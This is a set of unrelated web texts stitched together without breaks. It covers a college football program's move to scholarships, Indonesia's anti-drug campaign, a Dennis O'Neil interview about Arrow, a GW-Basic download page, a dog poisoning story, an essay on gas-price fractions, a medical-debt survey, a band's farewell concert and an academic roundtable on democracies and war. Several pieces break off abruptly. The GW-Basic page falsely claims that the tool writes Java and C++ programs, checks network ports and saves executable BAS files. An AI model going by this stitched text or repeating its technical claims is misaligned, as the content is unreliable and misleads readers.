“Man, that’s been all year,” said Minter, whose team still managed to finish the season at 6-5 for only the second winning record in the program’s 10-year history — even without the reinforcements. “It’s going to be a big jump, but that’s why you do it.”
Campbell wasn’t ready to take such a leap of faith the first time it fielded a football team, when it was still a junior college. The school discontinued the sport in 1950 when most of its in-state rivals began moving up to four-year status.
The Camels returned to the gridiron in 2008 as part of the nonscholarship Pioneer Football League.
Though the upgrade to the more prestigious Big South wasn’t necessarily part of the plan when the program was first resurrected under the watch of former athletic director Stan Williamson, it didn’t take his successor Bob Roller long to realize it was the logical next step.
For one thing, the financial savings that come with not offering scholarships was offset by the travel costs associated with playing in a conference that has teams spread across the map from San Diego, Calif., and Des Moines, Iowa, to Poughkeepsie, N.Y., and DeLand, Fla.
And Campbell was already a member of the Big South in all sports other than football.
More important, interest in the program had begun to outgrow the low-key Pioneer League. With the Camels averaging better than a sellout at the 5,500-seat Barker-Lane Stadium in each of the past two seasons, Roller and other school officials came to the conclusion that the time had come to steer their program in a new direction.
“The Pioneer Football League was perfect for Campbell when we came back,” Roller said. “It was the right move. It was a way to get your feet on the ground. But once we studied it we realized that we could make this happen and that it wasn’t nearly as expensive as we first thought.
“It will be great, not only for the program but also for the parents (of the players) and fans. Now it’s three-, four-, five-hour car or bus trips for all of them. Plus it’s opened up so much for our nonconference schedule, too.”
Among the 18 upcoming nonconference games the Camels announced earlier this week are four “guarantee” games against FBS opponents that will help offset the added costs associated with the move to the Big South.
It’s a challenge Minter is excited about tackling, even though he realizes that that the transition won’t be an easy one — especially at the start.
“We’ve got to be 100 times better,” the fifth-year coach said. “We’ve played some of these teams before and we know what that looks like and the type of talent, size, speed and effort you need to be able to play with them. We definitely know what we’re getting into.”
In preparation for the move, Minter and his staff began setting their sights on a higher caliber of recruits.
It’s an effort that helped land those 21 redshirts, a group that will join holdovers such as dual-threat freshman quarterback Daniel Smith, leading receiver Aaron Blockman and top tackler Jack Ryan, to form the foundation of the Camels’ first scholarship squad.
“Anytime you can help somebody pay for their school, the conversation is different,” Minter said. “Because of that, now I can get into any living room and I can compete with anybody. That first freshman class … it’s pretty good.”
Lester Axson, a cornerback from Winter Garden, Fla., who originally committed to Furman, said he wouldn’t have given Campbell a second look if not for its decision to start offering scholarships.
“Coach Morris came to my school and he explained to me about Campbell going to the Big South,” Axson said of Camels recruiting coordinator Adam Morris. “That’s what sold me.”
Like Minter, Axson and the rest of his inactive classmates had a hard time watching from the sideline this season, knowing that they were able to contribute. But they were, at least, able to start bonding together from the time they’ve spent together around campus and on the practice field as part of the Camels’ scout team.
“We’ve built real chemistry,” Axson said. “We’re all hungry and ready for next year. Trust me, we’re all excited about what we’ve got coming.”Police present suspects and packets of methamphetamine as evidence to the media following an illegal narcotics raid at police headquarters in Jakarta, Indonesia August 24, 2016 in this photo taken by Antara Foto. Antara Foto/Muhammad Adimaja/ via REUTERS
By Kanupriya Kapoor
JAKARTA (Reuters) - Inspired by the Philippines "war on drugs", Indonesia's anti-narcotics chief plans to aggressively ramp up the country's fight against drugs by bolstering its police force with more personnel and heavy weaponry.
The Southeast Asian neighbours have both declared a "war on drugs" with Indonesia stepping up executions of drug convicts, while the Philippines has launched a brutal crackdown in which hundreds of alleged drug dealers have been killed within months.
Leaders of the two countries will meet later this week in Jakarta and one of the main topics of discussion will likely be ways to wipe out the region's drug trade.
Budi Waseso, chief of Indonesia's national anti-narcotics agency (BNN), said late on Tuesday that the agency was in the process of adding weapons, investigators, technology, and sniffer dogs to its arsenal as it steps up law enforcement efforts in one of the region's biggest narcotics markets.
When asked if Indonesia can be as aggressive as the Philippines in fighting drugs, Waseso said: "Yes I believe so. It can happen because (the drugs problem) in Indonesia is as bad as in the Philippines".
"The life of a dealer is meaningless because (he) carries out mass murder. How can we respect that?," he added.
However, a BNN spokesman said Indonesia would not be as aggressive as its neighbour. "Our punishments have to be in accordance with our law and with national and international standards," said spokesman Slamet Pribadi.
Since President Rodrigo Duterte took office in June, 2,400 people have been killed in his "war on drugs". About 900 died in police operations and the rest authorities say were "deaths under investigation", a term human rights activists say is a euphemism for vigilante and extrajudicial killings.
The bloody campaign has drawn condemnation from organisations like the United Nations, which calls the killings unlawful.
But Duterte has refused to back down, promising that "plenty will be killed" before achieving his goal of a drugs-free country.
(Editing by Randy Fabi and Michael Perry)Warning: The article below contains spoilers for last night’s episode of Arrow.
Few comic creators have given as much to the DC Universe as Dennis O’Neil has. During his nearly 50-year career with DC Comics, O’Neil has written, edited, and created a world of characters for DC Comics’ library. But for all of his contributions, many remember O’Neil’s classic run on "Green Lantern/Green Arrow" and his co-creation of Batman nemesis Ra’s al Ghul as his crowning achievements. As fate would have it, both of his marquee characters were front and center in last night’s midseason finale of Arrow, “The Climb.”
As one of the foremost authorities on Ra’s al Ghul, Oliver Queen, and honestly—comics in general—we called the legendary writer up to see what he thought of Arrow’s re-imagining of the Green Arrow and DC mythos. Below, O’Neil shared his opinions on how Arrow handled Ra’s, on Oliver’s darker side, and how Arrow may escape death in the second half of Season Three.
On His Opinions of Arrow.
I was kind of slow to warm up to it. I had a lot of quibbles at first, but most of them have gone away. But the fact that I’m watching it means that I like it. I’m not always comfortable watching the stuff I’ve done translate into another media. But I would say that even without a comic book connection, I would watch Arrow—and all of the comic book shows currently on—for entertainment.
On Arrow’s Portrayal of Batman Villain, Ra’s al Ghul. Ra’s is a good villain for Batman, and Green Arrow is a Batman-scale figure. He’s human, which makes for a good interchange. I paid a lot of attention to Ra’s last night. I think the actor, Matt Nable, gets it. I think he’s dignified. He’s tough-looking, he’s ruthless. That’s about the way that character should be played. I don’t have any qualms with the way he was written.
The writers didn’t include his obsession with the environment, and they didn’t involve the Lazarus Pit, which nobody has ever done. That was the most visual gimmick I ever came up with. Back before comics in movies and television were even a possibility, I thought “They’ll certainly not miss the opportunity to show him emerging from this seething, boiling pit, crazy as a loon.” But, I learned a long time ago that it’s a mistake to try to take something from one medium to another, to take a comic book and throw it onto a television screen. You have to reinvent the story for your own medium. And though I didn’t create Nyssa al Ghul—Greg Rucka did— I thought she was a fine Talia. For such an incidental character, there have been a number of Talias already. She comes closest to the way I conceived the character. I think ideally she would be played by someone who’s tall, stately, and obviously athletic. But this young woman, [actor] Katrina Law, could be Ra’s’ daughter. On Oliver Queen’s Duel With Ra’s, and Whether Arrow Will Truly Die.
That took me totally by surprise, and that means the writers and the actors did their job. It looked like that scene was paying more of an homage to Christopher Nolan’s movies than anything we did in the comics. What they did in a way, was recreate the sword fight between Ra’s and Bruce Wayne in the Himalayas. That duel is in our comics, but we set it in a desert. And bbviously, the endings were quite different. If the Lazarus pit is in this continuity, that would be the way to keep Ollie alive. But if they don’t choose to go that way, I suppose someone will have to rescue him. There’s a lot of ways that they could take it. On Arrow’s Portrayal Of Oliver Queen. Well, it’s not our Oliver Queen. But that’s not necessarily a condemnation, because the creators’ jobs are to take a basic idea, and make television out of it. They’re not supposed to cram old comic books onto a television screen. They have to reinvent it. I think that they improved Oliver’s backstory immensely. And it being television, I understand why there’s so much emphasis on family, both Oliver’s biological family and his symbolic family with Felicity and Roy and Diggle. It’s not the way we played him in the comics, but it’s a perfectly legitimate way to do the character.GW Basic Free Download offline installer 64-bit and 32-bit for Windows 10, Windows 8, 8.1, Windows 7, Windows XP, Windows Vista, and 98. Download GW Basic for Windows 7 and run in the DOSBox. It is full offline installer standalone setup. You can also download Turbo C++ Free Download.
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Microsoft GW Basic is the software that is used for learning the DOS commands. As before the latest operating system developed there were only the command prompts are using for installing the windows system. GW Basic 3.23 that was developed in 1987 this version was the final release that was for commercial distribution. This GW Basic has an executable format and also has the manual and GW Basic Commands, online, tutorials, programs for basics. GW Basic is now unsupported by Microsoft by they not make it open source to distribute with others. You can also download Visual Basic 6.0 Free Download. This is also used to write the programs of java, c++, and c sharp etc. This is also used for networking purpose of checking the IP addresses, open ports, gateways and much more. This software is for both the architecture system x86 and x64 or 32-bit and 64-bit. The GW Basic was only run on 16-bit architecture system by default. GW Basic free download for Windows 7, 8, 8.1, 10 or any other operating system. First, you need to install the DOSBox that is the emulator and work like the 16-bit architecture. Then on that, you can install and run the GW Basic on the DOSBox and use it easily. You can write the programs and that are saved in BAS file that is an executable file. You can also download Dev C++ Free Download.
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GW-Basic Free DownloadA woman said her two and a half year old lab mix ingested what a veterinarian believes was chicken laced with rat poison while on the Barton Creek Greenbelt.
A police report has been filed for animal cruelty because of the case and it is believed that the poisoned meat was meant to kill off coyotes in the area.
Shannon Giles, "the dog lady," as she's known in Gaines Ranch, spends most of her days hiking the Barton Creek Greenbelt with a pack of dogs in tow.
"I'm really lucky. I get to meet so many great people and really awesome dogs," said Giles.
Shannon has a master's degree in child psychology, and could have easily chosen a different career, but after finding her new best friend, Marina, all of her free time went to the dogs.
"I decided to become a dog walker because I wanted to give her a really good life," said Giles.
It didn't take long for Marina and Shannon to become members of the Austin dog community.
"She had a lot of friends here. She knew just about every dog in the neighborhood," said Shannon.
But almost as quickly as Marina befriended all the local pups, she was gone.
"It's just not the same without Marina. She was my girl. She was a mama's girl for sure," Giles said.
Friday was Marina's last day navigating through the trails in the greenbelt.
"Marina was zipping in and off the trails as she always does," Shannon explained.
When she returned home from her morning hike, something was different about Marina.
"When I came to let her back into the house was when I noticed she couldn't walk. She was tremoring, her pupils were so dilated, she was drooling out of her mouth, and I knew that something was wrong immediately so I took her to her vet and they diagnosed poisoning," said Shannon.
The vet told Shannon that marina had been given strychnine also known as rat poison.
"It wasn't until she vomited chicken, which I don't give her people food, that we realized that's what had happened. That somebody had poisoned a piece of chicken and given it to her or she found it," Giles said.
Shannon believes a pack of coyotes were probably the target of the poisoned meat.
"We see them all the time, every day, and that's just part of being on the greenbelt. We live in a wildlife refuge. It's common," Giles said.
Her family did everything they could to save their dog.
"We kept saying, when she was still alive but very sick, that Christmas isn't Christmas without Marina," said Shannon.
"This isn't going to be the holiday season without our dog. We will spend what we have to to make sure she can come home and be with us. And who cares about gifts because having her alive and healthy enough to travel with us, or whatever we're going to do, that's what counts," Giles added.
More than $1,200 later, after multiple attempts to help Marina, there was nothing else anybody could do.
"She died while I was telling her what a good girl she was. She was the best dog ever and I just kept telling her over and over again that we love her and she was a good dog and that I was sorry," said Shannon.
Shannon hopes by telling Marina's story she can help prevent another animal from having to go through what Marina did.
"I ache every day for my dog. And I can't even bring myself to put away her food dishes and her bedding. I can't do it yet because it's not real. I miss her," said Giles.
Austin police said they need more evidence in order to move the case forward and are asking anyone with information regarding the poisoned meat to contact them.
Because Shannon's family spent thousands trying to save their dog, they are unable to purchase Christmas gifts for their children this year. Giles' neighbors set up a donation page in order to help their family during the holiday season.
You can donate at this link: https://www.gofundme.com/hxg3g7fkIt's not an uncommon sales trick; gas prices are one example out of many that end in 9. Nearly all retail items these days price their products in the same way. It's easy to find small items, such as clothing, books, or groceries with prices that end in 99 cents, and prices for many big-ticket items, such as cars or computers, end in 99 dollars.
The gasoline industry has taken this tactic one step further and tacked on an extra 9/10ths of a cent to the price per gallon.
Folklore
There is quite a bit of folklore trying to explain this phenomenon. There are stories about retail price wars, penny newspapers, and even gas taxes. Some believe that because some taxes levied on the gas companies are 9/10ths of a percent of their volume of sales, they have passed that on to the consumer by increasing gas prices to 9/10ths of a cent.
In the end, though any or all of these things may have happened, many retail and academic studies have found that when prices end in 9, consumers will spend more money. It's a bit embarrassing to find out that most consumers are far more likely to purchase an item priced at $9.99 than the same item priced at $10.00, and there is little change in sales volume when the price changes from $5.00 to $5.99.
Plus, it makes for great marketing. Ads for the best laptop under $600 (sold for $599.99), or the best car under $10,000 (sold for $9,999), actually do fool consumers into thinking they're spending less money. Especially in these days of high gas prices, you could say that the gas companies are just doing what capitalism demands of them.
What is 9/10 of a cent worth?
So the gas companies take an extra 9/10 of a cent for every gallon of gas we buy--what is that actually worth?
According to the U.S. Energy Information Administration (EIA), "prime suppliers" of "motor gasoline" reported sales of 372,833.5 thousand barrels sold in February 2007. Each barrel represents 42 gallons, and to determine the value of 9/10 of a cent for each gallon, we did the following calculation:
372,834 x 1000 x 42 x.009 = $140,931,063
That means that in February 2007, gas companies collected an extra $141 million USD because of their unique pricing practices. Assuming Februrary is a rough average for the year, that's $1.7 billion USD in additional revenue!
What if gas prices were carried out to the 100th of a cent?
What if instead of 9/10 of a cent, or.009 of a dollar, gas prices could end in 99/100ths of a cent, or.0099 of a dollar. Statistically, the academics tell us that we wouldn't even flinch at such a miniscule increase in gas prices. Consumers are always looking at the big numbers on the left, so when we look at gas prices it's the $2 or $3 per gallon that we see, not the small change. This small increase spread across the masses can yield huge profits for the gas companies.
Using the same data provided by the EIA, and altering the formula to value our assertion so that each gallon is worth $.0009 dollars more than they already collected, we end up with the following calculation:
372,834 x 1000 x 42 x.0009 = $14,093,106
Again, assuming that February 2007 gas sales represent an average of monthly gas sales for the year, then, collectively. If this tweak was applied globally, the total would be even more staggering.There might be some costs associated with changing the signs, and it is possible that some drivers would reduce consumption out of protest; it seems that these would be negligible when compared to the gains that the gas companies would reap.The EIA also tells us that the average US consumer uses 500 gallons of auto fuel each year. If the gas companies were to change gas prices to end in 99/100ths of a dollar, the cost to the consumer would be $0.45 USD per year, on average. It may not sound like much, but that's what got us into paying 9/10 of a cent to begin with.
Written by Lindsay D.Among those who reported having problems paying their bills despite having insurance, 63 percent said they used up all or most of their savings; 42 percent took on an extra job or more work hours; 14 percent moved or took in roommates; and 11 percent turned to charity.
Randy Farris, 58, a factory worker from Conger, Minn., needed a knee replacement three years ago. His insurance covered 80 percent of the bill, but he needed to cash in an I.R.A. to pay his $4,000 share. “I haven’t been to the doctor since because I don’t want any more doctor bills,” he said. His wife’s retirement savings had been wiped out years before, he said, when he used them to pay her hospital bills after she died of cancer.
The health law has led to a decline in the number of Americans suffering financial stress from health problems, thanks to the new options for receiving coverage, especially for the poor. But the problem is still widespread, touching roughly a quarter of Americans under 65, when the insured and uninsured are looked at together. Americans older than 65 are covered by Medicare, which more frequently protects people from major financial trouble.
Unlike other polls, which have focused on the ways that insurance affects health care, the new Times-Kaiser survey explored the effects of medical bills on people’s daily lives well beyond the medical system. We found that medical bills don’t just keep people from filling prescriptions and scheduling doctors’ visits. They can also prompt deep financial and personal sacrifices, affecting their housing, employment, credit and daily lives. Kaiser has released a report today, detailing the survey’s main findings about this population.
“The major impact is actually a pocketbook or economic impact: their ability to pay the rent or the mortgage or buy food,” said Drew Altman, president of the Kaiser Family Foundation.A 40-year-old musical and cultural phenomenon came to an end Thursday night in Tel Aviv, with the final concert of legendary pop group Kaveret.
The band, which soared to fame in the 1970s and has remained popular despite its subsequent breakup, performed in front of 50,000 people in Tel Aviv’s Hayarkon Park in what group members promised was their very last joint concert. Thursday’s gig was the last in a series of five reunion concerts Kaveret gave over the summer, all of which were sold out within hours of tickets going on sale.
“We received a huge compliment,” said band founder Danny Sanderson after the concert. “The idea that something we invented became something that is considered so Israeli is a bit weird, but it’s very flattering.”
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Students of the subfields of public opinion and international relations still too frequently work at arm’s length to one another. To oversimplify: the field of public opinion spent much of the last quarter of the twentieth century convincing both itself and its audience that average voters (often American only) were, in fact, capable of thinking coherently about the often abstract events that define a nation’s conduct with its allies and adversaries.[9] Scholars of international relations focused mostly on state or state-to-state interactions as the appropriate unit of analysis, and they developed often elaborate formal and empirical tests as to why representative democracies behave differently when it comes to, for example, conflict initiation or termination.[10] The specific mechanisms via which electorates have the capacity to constrain leaders from going to war, however, remains a topic very much in need of intellectual scrutiny. Matthew Baum and Philip Potter’s work is an impressive and eye-opening attempt to examine how cross-national differences in institutions shape the relevance of public attitudes towards war and conflict when it comes to constraining elite behaviour. What is so exciting about this work to a scholar of public opinion is that it moves the field beyond studies purporting to show that coherent foreign policy attitudes are present in single or a few electorates[11] and correlate with vote choice or affect towards parties and leaders. Instead, the book looks at when leaders are most likely to exercise constraint in response to public attitudes concerning conflict. At its heart, the book offers a simple conjecture—there are two conditions that must be met in order for public opinion to feature heavily in the decisions of elected officials. First, there must be robust opposition to an elected government, operationalised by the number of effective parliamentary or elected parties. The presence of multiple parties in opposition or coalition raises the probability that one or many will act as ‘whistle blowers,’ essentially calling time on leaders who have an unhealthy yearning to take their nations into war. A large number of parties, however, is a necessary but not sufficient condition for constraint—to be effective, opposition parties need to articulate their case to the public and this requires citizen access to a free press. The authors mostly operationalise access via television and radio saturation, but, as is the case throughout the text, extraordinary care is made to undertake robustness checks that employ alternative operationalisations of variables key to testing the authors’ own and rival hypotheses. After outlining in the second chapter coherent theoretical arguments, the heart of the book presents empirical models interrogating the role the party number-media nexus has on the decisions of democratic states to initiate conflicts, reciprocate in response to hostile actions and join ‘coalitions of the willing.’ The second half of the book takes on a more qualitative content analysis and process-tracing tone, examining variations in media coverage of specific conflicts by the type of party system and the process via which four nations (United Kingdom, Germany, Poland, and Spain) decided for or against joining the 2003 U.S. led intervention in Iraq. The latter two chapters add rich support to the book’s main conjecture and make the book an exemplar of mixed method research. The empirical findings that stand out are as follows: in the presence of multipartyism and widespread media saturation, conflict initiation is much less likely but, to underscore the necessary but not sufficient nature of the book’s main hypothesis, media saturation in the presence of a two party system makes conflict initiation more likely. Faced with only a single opposition party, governments become confident in their ability to control the message and media saturation reinforces the drumbeat to war. In terms of conflict reciprocation, the authors add insights into the audience-costs debate by demonstrating empirically that the propensity of established representative democracies to ‘return fire,’ via (mostly) violent reciprocation also is a function of party systems and media access. Governments not facing a diverse set of opposition parties who have the ability to convey their critiques of military action to publics via the press apparently do not have credibility when it comes to issuing threats. This is why we observe more failures of bargaining and compromise (wars) when media access and the number of parties are low. Elected officials who have to face strong opposition in states with a robust free media presence likely issue threats sparingly and this makes conflict reciprocation low. (Although the empirics of this argument are sound, future work on the topic may want to push the mechanisms behind this argument further). Critics of the audience-costs argument sometimes question the credibility behind the mechanisms, citing evidence that authoritarians who initiate conflicts are completely unaware of or consider irrelevant the attitudes of domestic publics in target states.[12] The authors now ask elite authoritarians to go a step further—not just consider electorate reactions to state-on-state conflict in representative democracies but to understand that institutional contexts make the process work differently. A logical extension of this work might be an attempt to explain the mechanisms via which leaders react to democracies according to variation on the two key constructs of interest. Chapters five and seven present to the reader an in depth examination of why states do or do not acquiesce to what essentially is a request from the United States to join in foreign policy adventures abroad. Interesting empirical results emerge from Chapter 5 where the number of troops per capita states committed to the 2003 invasion in Iraq is run against the key conjecture—again, we see that nations with high media saturation but a small number of opposition parties were likely to commit the most troops, and the interaction between multipartyism and media access is what made support for the coalition tepid. Afghanistan is perhaps an outlier of a conflict, due to (initially) high levels of public support and NATO’s involvement—therefore, we witness multi-party states contributing more troops per capita than nations with a single opposition parties. This raises an interesting question that future research might wish to explore—an implicit frame in the text is that the public exists to constrain the impulse of elites to rush into military action. In many nations, support for ‘doing something’ in response to the 11 September 2001 attacks against the United States was high, particularly in Western Europe. How might this model work in an environment where the public and press were partial to favour conflict with elites attempting to curtail a bloodthirsty public—or does the emergence of new media covered in many models in the robustness checks make such an environment less and less likely? This is an exceptional work that lends itself to numerous extensions—for example, how might the models discussed perform when other foreign policy actions of leaders are put under the microscope? Questions of analysing public support for foreign aid and assistance to refugees are topics that cry out for additional analysis. Might the book’s key conjecture be tested with a focus on emerging democratic states in more conflict-prone areas of the world—a deeper analysis of, say, conflicts in sub-Saharan Africa or conflicts where non-state actors play the key role—be a point of departure? The robustness of the findings in support of the party system-media saturation interconnection raise questions for we who attempt to build on more conventional areas of research into the coherence of public attitudes on matters of foreign policy. As discussed in the opening, many of us have spent time examining the structure of citizens’ attitudes on a set of foreign policy issues—the propensity to strengthen and utilize a nation’s military being one of the most prominent. Given the findings of this work, is there any room to consider these latent attitudes that form the middle of a hierarchy of foreign policy beliefs that Jon Hurwitz and Mark Peffley label postures?[13] In short, is there any role left for the starting beliefs people have about the desirability of military readiness and conflict initiation/reciprocation in determining how publics may respond to conflicts even before leaders, opposition officials and the media stake their positions? Those of us who study public opinion on matters of international relations and who have not given much thought to institutions now have to take even more seriously these questions because of this outstanding book.
We thank the editors and reviewers for their careful attention to our work. Writing a book can seem thankless in the moment, but receiving detailed feedback from such an impressive group of commenters helps to make the effort worthwhile.
Our goal for this project was to reset the agenda when it comes to the study of democracy and conflict. We believed that, despite the huge volume of work in this area, we as a community of scholars had failed to take institutional variation among democracies seriously enough in our theories of war and peace. In our view, assuming that all democracies are alike masked the mechanisms that underpin important empirical observations like the democratic peace.
The question is, what dimension of difference would influence the mechanisms that we think drive the ‘democratic difference’ in conflict behavior? We believe that the answer lies in the role of information, and specifically the ways in which its presence or absence either contributes to or undermines constraints on leaders. We point to the ways in which democratic institutions–particularly electoral and media institutions–influence this flow of information within democracies. The core insight is that those with extensive penetration by a free media and robust political opposition (empirically, having many parties) tend to constrain their leaders more than those without these attributes. The effects are felt in conflict initiation, reciprocation, and coalition formation.
The participants in the forum have identified a number of interesting wrinkles in that argument, exceptions to the rule, and opportunities for extension. We greatly appreciate the insights and the opportunity to engage with them here.
Sarah Croco makes an excellent point about the relationship between the constraints on leaders prior to the initiation of a conflict and those that arise once a conflict is underway. Drawing out the implications of that logic, she points out that we could also think about the extent to which the mechanisms of constraint that we identify could influence the likelihood that leaders back out of ongoing unpopular conflicts and the outcomes of conflicts more generally.
The point is well taken. Casual references to public limits on foreign policy indeed often refer to stopping a war already underway—the most prominent instance being the impact of anti-Vietnam protests. While we do not seriously address this phase of conflict in our book–we focused on the ‘front end’–our instinct is that Croco is probably right that the mechanisms we identify should also play an important role in the dynamics of ongoing conflict.
While a conclusive answer must be reserved for future work, we anticipate that the effect of constraint on ongoing conflict would manifest in complicated ways. This is because there are two distinct but conditional factors to consider: 1) the way information asymmetries change over the course of a conflict, and 2) the selection mechanisms that shape which conflicts these states engage in to begin with and, by extension, how committed the leaders are to them.
Starting with the first of these factors, in our view, the information gap between leaders and the public naturally closes as conflicts drag on (for an illustration see Chapter 2, page 38). Leaders have a natural informational advantage at the outset of hostilities, but this erodes as conflicts unfold. Independent voices emerge, casualties mount, elites defect, and rallies fade. Through this process constraints eventually emerge for even relatively unencumbered democratic leaders. All else being equal, these leaders might then be more likely to withdraw from unpopular conflicts.
Returning to the prior example, the Vietnam War plausibly illustrates this process. Over time, public disapproval led to mounting pressures on a previously less constrained executive branch.
It seems reasonable to anticipate that this convergence happens more quickly in countries with the intuitional arrangements that we argue are conducive to an informed electorate—many parties and high access to free media. Again, Vietnam may illustrate this trend. Constraint emerged, but it took quite a while to do so.
The second factor, however, could plausibly cut the other way. The attributes associated with high constraint may cause a leader’s information advantage to erode more quickly, but this does not necessarily mean that the leader will quickly back down. First, publics in these systems may not turn against a conflict even if they know more because leaders carefully selected these conflicts, aware that they would quickly face scrutiny. Publics in these systems are therefore likely to be more patient with leaders they trust to have selected well. Even if the public does turn against a conflict, then the culpability point that Croco brings up comes into play. It is likely that the diverse coalition of leaders in a high party state who are culpable for a conflict will stick it out even in the face of a downturn in public support in the hopes that winning will lead to a rebound in public opinion.
Croco’s insight is important because, if true, it helps to tie our mechanism both to her work and to the Dan Reiter and Allan Stam logic that democracies may be slow to anger but are tenacious once engaged.[14] Croco points out that leaders often end up in quagmires, but we also know from Reiter and Stam, among others, that they tend to win more. Our expectation is that constrained leaders are actually much less likely than their unconstrained counterparts to end up in quagmires because they are careful on the front end,[15] and because when they do fight they have sufficient support behind the conflict that they will dedicate the necessary resources to see it through even in the face of casualties and other setbacks. Our suspicion is that, as for the democratic peace and audience cost arguments, the constrained types are driving the overall findings for democracies. If this is right, and the institutional mechanisms we identify can drive this by increasing both selectivity and tenacity, this adds yet another consistent piece to our story about democratic differences in foreign policy.
The insight would also generate some specific and testable empirical implications that would be worth exploring. One, in line with the Reiter and Stam model, is that constraint once conflict is underway might not show up so much in the ability of citizens to pull leaders out of unpopular wars as in the prospects for ultimate victory. Because the conflicts that these leaders enter are going to be more carefully selected, they will be those that the public initially approved of and, in many cases, as Croco points out, will involve large and carefully constructed coalitions of parties on the record in support of them. High party/high access states are therefore going to be more tenacious (meaning they might fight longer conflicts, or persist longer in the face of casualties, and win more. Low party/low access states are going to back out of conflicts more often, be more casualty averse, and lose more often. Interestingly, the story that Croco tells leads to off diagonal predictions that are less clearly examined in the book. Specifically, her coalition story suggests that high party/low access states may exhibit more tenacity than low party/high access states.
Elements of Christopher Gelpi’s comments dovetail nicely with those made by Croco. To begin with, he raises the interesting conjecture, based on his prior research, that the press, and by extension citizens, will always be able to gather sufficient information about military engagements if there are casualties even absent elite partisan disagreement over the conflict.[16] Given the centrality of casualties in the longstanding literature on public opinion and conflict, this is a possibility with which scholars should grapple. We did not do so in the book in part because any story involving casualties is necessarily about constraint on conflict already underway. On other words, this is primarily about “back–end constraint” (to use Croco’s useful turn of phrase), which fell outside the original scope of our inquiry.
Thinking this possibility through, it seems likely that the impact of casualties will be multifaceted. Gelpi posits that that high (free) media access/low party systems are likely to exhibit constraint on conflict already underway because the casualty counts creep through to the voters through media access alone. This is of similar spirit to Croco’s off diagonal prediction, but the mechanism is different. Where Croco sees low tenacity in these states due to the smaller size of the governing coalition (meaning less parties own the policy), Gelpi sees more pressure from the public due to their relatively independent access to information on casualties. However, in his view, democratically elected leaders will not actually alter their policies regarding these costly conflicts unless they face opposition from competing elites who seek to electorally exploit public opposition to the conflict– something that is more likely to happen in higher party systems. Thus, in Gelpi’s telling, we end up in the same place as our informational story, but by a slightly different route. These mechanisms, however, should be distinguished in future work.
The upshot is that where Croco implies the potential for some responsiveness in low party countries because of the relatively small governing coalitions that would allow for change, Gelpi, drawing on the example of Afghanistan, suggests that there would be backing down among low party/high access states. This is an interesting set of theoretically reasonable hypotheses and possibilities that we intend to explore in follow-up work on constraint on conflicts.
Gelpi also voices concern about the distance between the audience cost argument and reciprocation – a concern that we share. Testing any phenomenon driven by strategic selection with observable data tends to push toward secondary implications. Our study is no exception. The use of reciprocation for this purpose is not our innovation, but it does seem to be the best available option at this point. That said, as Gelpi notes, the reciprocation test can establish the presence of democratic constraint even if it falls short as a test on some the other audience cost arguments that are so prevalent in the literature.
Gelpi notes that some of the effects we report are driven in part by the seemingly bellicose impact of media access in low-party systems. As he notes, we only touch on this issue briefly in the book, but we share Gelpi’s suspicion that the presence of more significant rally effects and ‘spirals of silence’ in low opposition states are driving this effect. Tying this again to the prior points about tenacity in conflicts underway, it would be interesting to see if this translates into a lack of staying power in these states. In particular, this bellicose tendency among low party/high access states would link neatly to the widely held idea that the U.S., at least in recent decades, is quick to get into fights but weak in the face of casualties.
Finally, Gelpi raises the valid issue that scholars need to devote greater attention to the implications of recent changes in the media environment and their potential impact on democratic constraint. In particular he raises the issue of the rise of partisan media across various platforms – traditional and new. This is an interesting point. It introduces the broader question of polarization and the extent to which it might influence the story that we are telling. In particular, changing media technology may allow for smaller audience sizes that can produce ‘echo chambers’ and thereby exacerbate polarization. Our instinct is that as this trend continues it will only increase the salience of our argument and the magnitudes of the effects that we would uncover. It is well-established that multiparty democracies have less polarization than two-party systems, and it seems plausible that the changes in media that we are considering would drive this divide still wider. This means that in two-party systems leaders are increasingly likely to be in a position where they can count on the support of co-partisans and disproval of the opposition almost regardless of the policy. The mechanism of constraint that we describe therefore relies on a shrinking middle and a media that is increasingly poorly positioned to inform that middle in ways that are likely to lead to meaningful constraint on executive action. This would indeed lead to Gelpi’s corollary that while the ideological diversity of political parties may increase democratic constraint on foreign policy, the ideological polarization of media outlets can undermine this constraint.
Thomas Scotto’s critique focuses on conflict reciprocation, where he identifies a series of interesting concerns about our arguments. Notably, he raises the possibility that our argument might ask too much of authoritarian leaders. The audience cost model already implies that the target of a threat has some capacity to ‘look inside’ the issuer’s polity to understand how regime type could lead to credibility through costly signals. Our argument takes this one step further by requiring that these states not only assess the broad distinction between democracies and autocracies, but actually recognize the difference between high information systems with robust parties and media and those without these attributes.
This is a fair point, to which there are two plausible responses. First, in many instances we believe that these informational attributes that derive from fine-grained institutional mechanisms gel into reputations that other states can rely on as heuristics. Threats and the reactions that states have to them do not arise in a vacuum. Rather, states can look back on the past behavior of the state issuing a threat, and the reputation its behavior engenders, to estimate how the threatening state is likely to proceed in the present instance. Thus while institutions may be the ‘deep cause,’ adversaries need not assess them in detail in real time. Second, selection is an important element of the credibility mechanism that we identify. Constrained democrats contribute to the observed effect by limiting their threats to cases where they are the stronger party and therefore anticipate that the other side will back down out of weakness rather than an ability to forecast intent. The target does not back down because they know that the threatened state is credible due to its institutions. Rather, they back down because they are the weaker party.
That said, the core point that more should be done to explore the mechanism is well taken. It is likely the case that there is some combination of selection (by the initiator), reputation (on both sides), and perception (by the target) that drives our empirical findings on reciprocation. It would be very helpful both to our argument and to the audience cost proposition in general to parse out the relative influence of each of these factors.
Scotto also points out that we implicitly model the public as being less bellicose than leadership. He rightly notes that this is not always the case; sometimes the public may be bloodthirsty while leadership sees strategic value in restraint. While we are unaware of available data to test this proposition, our expectation is that the theory would still work, but in such cases high party/high access states would initiate more conflicts. Our deeper point is about the extent to which leaders’ actions are congruent with the public’s preferences rather than specifically about the probability of conflict.
Similarly, Scotto asks whether we might fruitfully ask how different states might navigate gaps between elite and public preferences over other foreign policy matters such as trade or foreign aid. We have not done these analyses, but our theory does provide clear and testable hypotheses that could guide such and analysis. We expect that high party/high access states will tend toward the public’s preferences while those without both of these attributes will tilt more toward the preferences of leaders.
This brings us to the question of how we should be thinking about emerging or poorly institutionalized democracies. We largely skirt this issue in the book, but it is firmly established that transitional democracies, anocracies, or whatever else we may call them, are the problem children of the international system.[17] The numeric thresholds at which we cut off democracy in the book generally exclude these states. But future analysis would do well to consider them. Our expectation is that since institutionalization and reliable information transmission are our basic ingredients for constraint, the leaders of these states should be relatively unconstrained, all else being equal. Chaotic institutional environments are not conducive to establishing the link between media and elites that will reliably transmit information. The mechanisms of elite opposition and contestation themselves are likely to be in flux in such states.
